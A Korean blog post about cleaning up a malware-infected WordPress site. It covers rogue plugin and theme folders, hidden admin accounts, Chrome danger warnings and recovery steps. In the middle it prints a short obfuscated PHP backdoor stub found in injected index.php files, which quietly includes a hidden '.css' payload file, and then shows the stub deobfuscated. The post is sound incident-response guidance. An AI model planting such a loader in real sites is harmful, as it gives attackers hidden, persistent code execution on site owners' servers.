워드프레스 자체는 보안에 강하지만 업데이트를 소홀히 할 경우 악성코드에 감염되거나 사이트가 해킹을 당할 수 있는 리스크에 노출됩니다. 사이트가 멀웨어에 감염될 경우 악성코드 감염 파일을 제거하고 워드프레스, 테마, 플러그인을 최신 버전으로 업데이트하고, 오랫동안 업데이트가 안 되고 방치되는 플러그인을 삭제해야 재감염이 되지 않습니다. 단순히 멀웨어만 제거하고 사이트를 업데이트를 하지 않으면 보안 취약점이 그대로 존재하므로 재감염될 위험성이 있습니다.
하지만 워드프레스 사이트를 제작할 때 워드프레스를 업데이트할 수 없도록 만드는 경우가 종종 있습니다. 그런 경우에는 워드프레스나 테마, 플러그인을 업데이트할 수 없게 됩니다. 바람직하지 않지만, 이 경우에는 워드프레스 버전을 유지한 상태에서 멀웨어를 제거하고 보안 플러그인을 설치하는 등의 조치를 취하는 것이 최선일 수 있습니다.
워드프레스 버전을 유지한 상태에서 멀웨어 제거 작업
사이트가 멀웨어에 감염될 경우 FTP를 통해 서버에 접속하여 살펴보면 이상한 파일이나 폴더 등이 생성되어 있을 수 있습니다.
위의 그림에서는 루트 폴더에 options.php와 xv02ha56p.php라는 이상한 이름의 파일이 있습니다. (options.php는 정상적인 파일 이름처럼 보이지만, 워드프레스 루트 폴더에 이런 파일이 있으면 안 됩니다.)
이번에 치료를 맡은 사이트에서는 플러그인 폴더에 이상한 이름의 플러그인이 몇 개 생성되어 있었습니다.
cuveper, eholosotyh, ixafalajam 등 의미 없는 이름의 플러그인 폴더 내의 파일을 살펴보니 비슷한 패턴의 코드가 추가되어 있었습니다.
멀웨어 플러그인이지만 플러그인 이름과 버전, 제작자 이름과 제작자 URL 등의 정보까지 입력되어 있네요. 하지만 inglan.org는 존재하지 않는 사이트입니다.
다음 파일은 전형적인 악성코드를 보여줍니다. 난독화되어 이해할 수 없도록 코드가 작성되어 있는 것이 특징입니다.
재미있는 것은 해당 플러그인이 워드프레스 알림판 내의 플러그인 페이지에는 표시되지 않았습니다. 악성코드 제거를 위해 테스트 사이트에 업로드하여 살펴보니 테마와 플러그인을 모두 비활성화한 상태에서는 멀웨어 의심 플러그인이 표시되어 있었습니다. 아마도 플러그인 리스트 페이지에는 표시되지 않도록 하는 코드가 추가된 것 같습니다.
심지어 테마 폴더에도 이상한 테마가 추가되어 있었습니다.
아스트라 테마가 설치되어 있었는데, rpxrbvhbpo라는 이상한 이름의 테마 폴더가 있습니다.
그리고 루트 디렉터리 아래에 img, js, news라는 워프레스와 관련이 없는 폴더들이 있었습니다.
이 폴더들도 의심스러워서 살펴보니 각 폴더 내에 index.php 파일이 있고, 이 파일에는 다음과 같은 코드가 추가되어 있었습니다.
<?php
/*4737d*/
$rg = "/www/wp\x2dincludes/blocks/loginout/.6c89a252.css"; if (isset($rg)){ @include_once /* p79a */ ($rg); }
/*4737d*/
코드가 난독화되어 알아보기 어렵지만 챗GPT에 위의 코드를 넣고 알아보기 쉽도록 정상적인 코드로 바꾸어 달라고 요청하면 정상적인 코드로 변환해 줍니다.
<?php
/*4737d*/
$rg = "/www/wp-includes/blocks/loginout/.6c89a252.css";
if (isset($rg)){
@include_once ($rg);
}
/*4737d*/
/*4737d*/ 이 부분도 주석이므로 삭제하면 보다 쉽게 이해할 수 있을 것입니다.
이 코드는 /wp-includes/blocks/loginout/ 폴더 내의 .6c89a252.css 파일을 호출하고 있습니다. 하지만 이 파일은 없는 파일입니다.
멀웨어에 감염되면 이상한 관리자 계정도 생성되어 있을 수 있습니다. 사용자 페이지에서 이상한 계정을 확인하여 삭제해야 합니다. 관리자 계정의 경우 가능하면 하나만 생성하는 것이 안전하고, 비밀번호를 강력하게 설정해야 합니다.
악성코드에 감염되어도 아무런 조치를 취하지 않고 방치할 경우 구글에서 위험한 사이트로 인식하여 크롬 브라우저로 해당 사이트나 특정 페이지에 접속하려고 시도할 때 아래 그림과 같이 "위험한 사이트. 방문하려는 사이트의 공격자가 속임수를 써서 소프트웨어를 설치하거나 비밀번호, 전화번호, 신용카드 번호 등을 공개하도록 유도할 수 있습니다. Chrome에서는 안전한 위치로 돌아갈 것을 적극 권장합니다" 경고가 표시될 수 있습니다. (MS 엣지 브라우저 등 다른 브라우저에서는 정상적으로 표시될 수 있습니다.)
URL 주소 입력 필드에는 주소 앞에 "위험" 경고가 표시됩니다.
이러한 경고가 표시되면서 크롬에서 접속이 차단된다면 멀웨어를 제거하고 구글 서치 콘솔에서 재검토 요청을 해야 합니다. 구글에서 검토하여 해제하는 데 1~2주 정도 걸릴 수 있다고 합니다.
가능한 한 빨리 문제를 해결하고 구글에 검토를 요청하지 않고 방치하면 SEO적인 측면에서 심각한 타격을 받을 수 있습니다.
사이트를 제작할 때 사이트를 구글과 네이버 등에 등록하는 작업은 직접 하는 것이 바람직합니다. 사이트 개발자에게 맡길 경우 구글 서치 콘솔에 경고가 발생해도 알 수가 없습니다.
사이트가 멀웨어에 감염될 경우 멀웨어에 감염되지 않은 상태를 백업한 백업본을 사용하여 사이트를 복구하고, 가능한 경우 워드프레스, 테마, 플러그인을 모두 최신 버전으로 업데이트하고 보안 플러그인을 설치하는 등 보안 조치를 해야 안전합니다.
단순히 눈에 보이는 파일만 삭제하거나 Wordfence를 설치하여 스캔되는 악성 파일들만 제거해서는 멀웨어가 완전히 제거되지 않고 백도어 파일이 남아 있을 수 있습니다.
[팁*멀웨어나 워드프레스, 웹호스팅 등과 관련된 문제로 어려움을 겪는 경우 여기에서 서비스(유료)를 의뢰하실 수 있습니다.*]
참고
https://avada.tistory.com/3353
https://avada.tistory.com/2897
https://avada.tistory.com/3046